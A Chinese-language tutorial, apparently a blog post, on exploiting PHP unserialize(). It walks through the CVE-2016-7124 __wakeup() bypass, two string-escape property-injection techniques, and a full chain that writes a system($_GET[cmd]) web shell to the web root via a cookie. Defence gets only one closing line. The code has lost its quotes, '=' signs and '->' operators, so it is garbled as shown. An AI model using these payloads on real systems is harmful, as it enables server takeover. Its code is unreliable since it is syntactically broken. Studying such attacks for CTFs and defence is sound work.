1. PHP反序列化漏洞基础认知第一次接触PHP反序列化漏洞时我和大多数新手一样满头雾水——为什么一段看似无害的序列化数据能导致服务器沦陷这得从PHP处理对象的方式说起。想象你有个快递包裹对象序列化就是把它拆成零件清单字符串反序列化则是按清单重新组装。问题就出在这个组装车间没有严格质检导致恶意构造的零件清单能混入危险品。三种属性类型在序列化时的表现差异尤为关键公有属性(public)直接显示s:4:name;s:5:admin;私有属性(private)带类名标记s:14:%00Name%00username;受保护属性(protected)带星号s:7:%00*%00password;我曾用这个简单代码测试属性差异class User { public $name public; private $secret private; protected $token protected; } echo serialize(new User()); // 输出O:4:User:3:{s:4:name;s:6:public;s:12:%00User%00secret;s:7:private;s:7:%00*%00token;s:9:protected;}2. CVE-2016-7124绕坑实战这个经典漏洞的利用条件就像玩密室逃脱需要同时满足三个机关PHP版本在5.6.25/7.0.10之前存在可控的unserialize()参数目标类同时存在__wakeup()和危险魔术方法去年复现某CTF题时遇到典型场景题目用__wakeup()重置管理员权限但__destruct()里有读取flag的操作。我的绕过步骤如下常规序列化payloadclass Admin { private $level super; } echo serialize(new Admin()); // 输出O:5:Admin:1:{s:11:%00Admin%00level;s:5:super;}修改属性数量实现绕过// 把:1改为:2 $payload O:5:Admin:2:{s:11:%00Admin%00level;s:5:super;};用Burp Suite发送时注意URL编码selectO%3A5%3A%22Admin%22%3A2%3A%7Bs%3A11%3A%22%00Admin%00level%22%3Bs%3A5%3A%22super%22%3B%7D踩过的坑Windows环境下直接复制%00会丢失必须用PHP的urlencode()处理。有次比赛就因这个细节卡了半小时后来改用Python的urllib.parse.quote才解决。3. 字符串逃逸的两种攻击姿势字符串逃逸就像玩拼图时故意多带几块碎片利用过滤函数改变字符串长度的特性让系统错误拼接数据。常见于replace()、addslashes()等函数处理序列化数据时。3.1 字符增多型逃逸某次渗透测试遇到这样的过滤function filter($data) { return str_replace(shit, flower, $data); }利用步骤分解计算替换差额flower比shit多3字符确定逃逸目标位置后的字符数例如30构造payload时需要覆盖的字符数 差额 × 重复次数$pad str_repeat(shit, 10); // 10次×3字符30差额 $payload ...s:4:data;s:40:.$pad.;s:2:id;s:1:1...;实际案例中通过精心计算可以让系统把s:2:id这部分误认为前一个属性的值从而注入新属性。3.2 字符减少型逃逸更隐蔽的是字符被缩短的情况比如function filter($data) { return str_replace(admin, user, $data); }构造技巧计算每个替换减少2字符5→3需要补充的字符数 减少数 × 替换次数在payload尾部追加额外属性$pad str_repeat(admin, 15); // 15次×230字符缺口 $exploit ;s:7:newprop;s:6:hacker;}; $payload ...s:4:user;s:75:.$pad.$exploit....;这种攻击就像玩俄罗斯方块利用消除行造成的空隙插入恶意代码。我在某次红队行动中就用这种方法绕过WAF成功覆盖了关键配置变量。4. 综合攻击链构建实战去年某真实靶场的完整攻击流程值得分享信息收集发现phpinfo页面显示PHP 5.6.18源码审计找到可控的unserialize($_COOKIE[data])目标类结构分析class Logger { private $logFile; function __wakeup() { $this-logFile /tmp/default.log; } function __destruct() { file_put_contents($this-logFile, $this-msg); } }分步攻击先用CVE-2016-7124绕过__wakeup()通过字符串逃逸注入恶意logFile路径组合payloadclass Logger { private $logFile /var/www/html/shell.php; private $msg ?php system($_GET[cmd]);?; } $payload str_replace(:1:, :2:, serialize(new Logger()));最终通过cookie提交payload成功写入webshell。这个案例完美展示了如何串联多个技术点形成完整攻击链。关键防御建议始终使用最新PHP版本对反序列化数据严格校验避免魔术方法中包含敏感操作使用json_encode()替代serialize()